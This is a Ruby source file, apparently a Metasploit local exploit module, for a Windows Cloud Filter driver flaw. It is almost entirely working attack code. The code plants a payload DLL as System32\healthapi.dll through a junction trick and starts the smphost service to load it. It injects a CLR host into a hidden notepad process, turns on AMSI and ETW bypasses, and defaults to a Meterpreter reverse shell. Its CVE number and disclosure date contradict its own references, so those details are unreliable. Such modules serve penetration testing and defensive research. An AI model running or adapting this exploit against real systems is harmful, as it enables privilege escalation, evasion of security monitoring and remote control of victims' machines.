319 lines
12 KiB
Ruby
319 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
include Exploit::EXE
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Version
|
|
include Msf::Post::Windows::Process
|
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
|
include Msf::Post::Windows::Dotnet
|
|
include Msf::Post::Windows::Services
|
|
include Msf::Post::Windows::FileSystem
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP',
|
|
'Description' => %q{
|
|
The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later, prior to the December
|
|
2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when
|
|
calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders()
|
|
function with attacker controlled input. This meant that files were created with
|
|
KernelMode permissions, thereby bypassing any security checks that would otherwise
|
|
prevent a normal user from being able to create files in directories
|
|
they don't have permissions to create files in.
|
|
|
|
This module abuses this vulnerability to perform a DLL hijacking attack against the
|
|
Microsoft Storage Spaces SMP service, which grants the attacker code execution as the
|
|
NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one
|
|
of the Meterpreter payloads, as doing so will allow them to subsequently escalate their
|
|
new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command
|
|
to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'James Foreshaw', # Vulnerability discovery and PoC creator
|
|
'Grant Willcox' # Metasploit module
|
|
],
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Privileged' => true,
|
|
'Arch' => [ARCH_X64],
|
|
'Targets' => [
|
|
[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X64], 'Type' => :windows_dropper } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2020-03-10',
|
|
'References' => [
|
|
['CVE', '2020-17136'],
|
|
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2082'],
|
|
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17136']
|
|
],
|
|
'Notes' => {
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'Stability' => [ CRASH_SAFE ]
|
|
},
|
|
'DefaultOptions' => {
|
|
'EXITFUNC' => 'process',
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
},
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_sys_process_attach
|
|
stdapi_sys_process_execute
|
|
stdapi_sys_process_get_processes
|
|
stdapi_sys_process_getpid
|
|
stdapi_sys_process_kill
|
|
stdapi_sys_process_memory_allocate
|
|
stdapi_sys_process_memory_write
|
|
stdapi_sys_process_thread_create
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptBool.new('AMSIBYPASS', [true, 'Enable Amsi bypass', true]),
|
|
OptBool.new('ETWBYPASS', [true, 'Enable Etw bypass', true]),
|
|
OptInt.new('WAIT', [false, 'Time in seconds to wait', 5])
|
|
], self.class
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check_requirements(clr_req, installed_dotnet_versions)
|
|
installed_dotnet_versions.each do |fi|
|
|
if clr_req == 'v4.0.30319'
|
|
if fi[0] == '4'
|
|
vprint_status('Requirements ok')
|
|
return true
|
|
end
|
|
elsif fi[0] == '3'
|
|
vprint_status('Requirements ok')
|
|
return true
|
|
end
|
|
end
|
|
print_error('Required dotnet version not present')
|
|
false
|
|
end
|
|
|
|
def check
|
|
if session.platform != 'windows'
|
|
# Non-Windows systems are definitely not affected.
|
|
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
|
|
end
|
|
|
|
version = get_version_info
|
|
|
|
# Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
|
|
if version.build_number == Msf::WindowsVersion::Win10_20H2 && version.revision_number.between?(0, 684)
|
|
return CheckCode::Appears('A vulnerable Windows 10 20H2 build was detected!')
|
|
elsif version.build_number == Msf::WindowsVersion::Win10_2004 && version.revision_number.between?(0, 684)
|
|
return CheckCode::Appears('A vulnerable Windows 10 20H1 build was detected!')
|
|
elsif version.build_number == Msf::WindowsVersion::Win10_1909 && version.revision_number.between?(0, 1255)
|
|
return CheckCode::Appears('A vulnerable Windows 10 v1909 build was detected!')
|
|
elsif version.build_number == Msf::WindowsVersion::Win10_1903 && version.revision_number.between?(0, 1255)
|
|
return CheckCode::Appears('A vulnerable Windows 10 v1903 build was detected!')
|
|
elsif version.build_number == Msf::WindowsVersion::Win10_1809 && version.revision_number.between?(0, 1636)
|
|
return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')
|
|
elsif version.build_number == Msf::WindowsVersion::Win10_1803 && version.revision_number.between?(0, 1901)
|
|
return CheckCode::Appears('A vulnerable Windows 10 v1803 build was detected!')
|
|
else
|
|
return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if sysinfo['Architecture'] != ARCH_X64
|
|
fail_with(Failure::NoTarget, 'This module currently only supports targeting x64 systems!')
|
|
elsif session.arch != ARCH_X64
|
|
fail_with(Failure::NoTarget, 'Sorry, WOW64 is not supported at this time!')
|
|
end
|
|
dir_junct_path = 'C:\\Windows\\Temp'
|
|
intermediate_dir = rand_text_alpha(10).to_s
|
|
junction_dir = rand_text_alpha(10).to_s
|
|
path_to_intermediate_dir = "#{dir_junct_path}\\#{intermediate_dir}"
|
|
|
|
mkdir(path_to_intermediate_dir.to_s)
|
|
if !directory?(path_to_intermediate_dir.to_s)
|
|
fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!')
|
|
end
|
|
register_dir_for_cleanup(path_to_intermediate_dir.to_s)
|
|
|
|
mkdir("#{path_to_intermediate_dir}\\#{junction_dir}")
|
|
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
|
|
fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!')
|
|
end
|
|
|
|
mount_handle = create_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", 'C:\\')
|
|
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
|
|
fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!')
|
|
end
|
|
|
|
exe_path = ::File.expand_path(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-17136', 'cloudFilterEOP.exe'))
|
|
unless File.file?(exe_path)
|
|
fail_with(Failure::BadConfig, 'Assembly not found')
|
|
end
|
|
installed_dotnet_versions = get_dotnet_versions
|
|
vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")
|
|
if installed_dotnet_versions == []
|
|
fail_with(Failure::BadConfig, 'Target has no .NET framework installed')
|
|
end
|
|
if check_requirements('v4.0.30319', installed_dotnet_versions) == false
|
|
fail_with(Failure::BadConfig, 'CLR required for assembly not installed')
|
|
end
|
|
payload_path = "C:\\Windows\\Temp\\#{rand_text_alpha(16)}.dll"
|
|
print_status("Dropping payload dll at #{payload_path} and registering it for cleanup...")
|
|
write_file(payload_path, generate_payload_dll)
|
|
register_file_for_cleanup(payload_path)
|
|
execute_assembly(exe_path, "#{path_to_intermediate_dir} #{junction_dir}\\Windows\\System32\\healthapi.dll #{payload_path}")
|
|
service_start('smphost')
|
|
register_file_for_cleanup('C:\\Windows\\System32\\healthapi.dll')
|
|
sleep(3)
|
|
delete_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", mount_handle)
|
|
end
|
|
|
|
def pid_exists(pid)
|
|
mypid = client.sys.process.getpid.to_i
|
|
|
|
if pid == mypid
|
|
print_bad('Cannot select the current process as the injection target')
|
|
return false
|
|
end
|
|
|
|
host_processes = client.sys.process.get_processes
|
|
if host_processes.empty?
|
|
print_bad('No running processes found on the target host.')
|
|
return false
|
|
end
|
|
|
|
theprocess = host_processes.find { |x| x['pid'] == pid }
|
|
|
|
!theprocess.nil?
|
|
end
|
|
|
|
def launch_process
|
|
process_name = 'notepad.exe'
|
|
print_status("Launching #{process_name} to host CLR...")
|
|
|
|
process = client.sys.process.execute(process_name, nil, {
|
|
'Channelized' => true,
|
|
'Hidden' => true,
|
|
'UseThreadToken' => true,
|
|
'ParentPid' => 0
|
|
})
|
|
hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
|
|
print_good("Process #{hprocess.pid} launched.")
|
|
[process, hprocess]
|
|
end
|
|
|
|
def inject_hostclr_dll(process)
|
|
print_status("Reflectively injecting the Host DLL into #{process.pid}..")
|
|
|
|
library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll')
|
|
library_path = ::File.expand_path(library_path)
|
|
|
|
print_status("Injecting Host into #{process.pid}...")
|
|
exploit_mem, offset = inject_dll_into_process(process, library_path)
|
|
[exploit_mem, offset]
|
|
end
|
|
|
|
def execute_assembly(exe_path, exe_args)
|
|
if sysinfo.nil?
|
|
fail_with(Failure::BadConfig, 'Session invalid')
|
|
else
|
|
print_status("Running module against #{sysinfo['Computer']}")
|
|
end
|
|
if datastore['WAIT'].zero?
|
|
print_warning('Output unavailable as wait time is 0')
|
|
end
|
|
|
|
process, hprocess = launch_process
|
|
exploit_mem, offset = inject_hostclr_dll(hprocess)
|
|
|
|
assembly_mem = copy_assembly(exe_path, hprocess, exe_args)
|
|
|
|
print_status('Executing...')
|
|
hprocess.thread.create(exploit_mem + offset, assembly_mem)
|
|
|
|
if datastore['WAIT'].positive?
|
|
sleep(datastore['WAIT'])
|
|
read_output(process)
|
|
end
|
|
|
|
if datastore['KILL']
|
|
print_good("Killing process #{hprocess.pid}")
|
|
client.sys.process.kill(hprocess.pid)
|
|
end
|
|
|
|
print_good('Execution finished.')
|
|
end
|
|
|
|
def copy_assembly(exe_path, process, exe_args)
|
|
print_status("Host injected. Copy assembly into #{process.pid}...")
|
|
int_param_size = 8
|
|
sign_flag_size = 1
|
|
amsi_flag_size = 1
|
|
etw_flag_size = 1
|
|
assembly_size = File.size(exe_path)
|
|
|
|
cln_params = ''
|
|
cln_params << exe_args
|
|
cln_params << "\x00"
|
|
|
|
payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size
|
|
payload_size += assembly_size + cln_params.length
|
|
assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)
|
|
params = [
|
|
assembly_size,
|
|
cln_params.length,
|
|
datastore['AMSIBYPASS'] ? 1 : 0,
|
|
datastore['ETWBYPASS'] ? 1 : 0,
|
|
2
|
|
].pack('IICCC')
|
|
params += cln_params
|
|
|
|
process.memory.write(assembly_mem, params + File.read(exe_path, mode: 'rb'))
|
|
print_status('Assembly copied.')
|
|
assembly_mem
|
|
end
|
|
|
|
def read_output(process)
|
|
print_status('Start reading output')
|
|
old_timeout = client.response_timeout
|
|
client.response_timeout = 5
|
|
|
|
begin
|
|
loop do
|
|
output = process.channel.read
|
|
if !output.nil? && !output.empty?
|
|
output.split("\n").each { |x| print_good(x) }
|
|
end
|
|
break if output.nil? || output.empty?
|
|
end
|
|
rescue Rex::TimeoutError
|
|
vprint_warning('Time out exception: wait limit exceeded (5 sec)')
|
|
rescue ::StandardError => e
|
|
print_error("Exception: #{e.inspect}")
|
|
end
|
|
|
|
client.response_timeout = old_timeout
|
|
print_status('End output.')
|
|
end
|
|
end
|